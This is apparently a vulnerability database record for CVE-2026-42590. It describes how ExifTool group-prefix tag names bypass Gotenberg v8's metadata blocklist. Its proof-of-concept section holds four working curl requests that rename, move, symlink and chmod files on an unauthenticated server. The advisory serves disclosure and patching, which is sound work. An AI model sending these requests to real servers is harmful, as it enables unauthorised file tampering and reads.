{"id":"CVE-2026-42590","aliases":["GHSA-7v3r-m9c8-r855","GO-2026-5234"],"url":"https://o3.security/vulnerability/CVE-2026-42590","summary":"Gotenberg: ExifTool group-prefix syntax bypasses dangerous-tag blocklist","details":"**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:FileName\":\"pwned.pdf\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:Directory\":\"/tmp\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"FilePermissions\":\"rwxrwxrwx\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.","published":"2026-05-14T15:36:30.386Z","modified":"2026-08-12T03:51:25.348718149Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"},"epss":{"score":0.0029,"percentile":0.21387,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42590.json"},{"type":"ADVISORY","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42590"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qmwh-9m9c-h36m"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.348718149Z"}}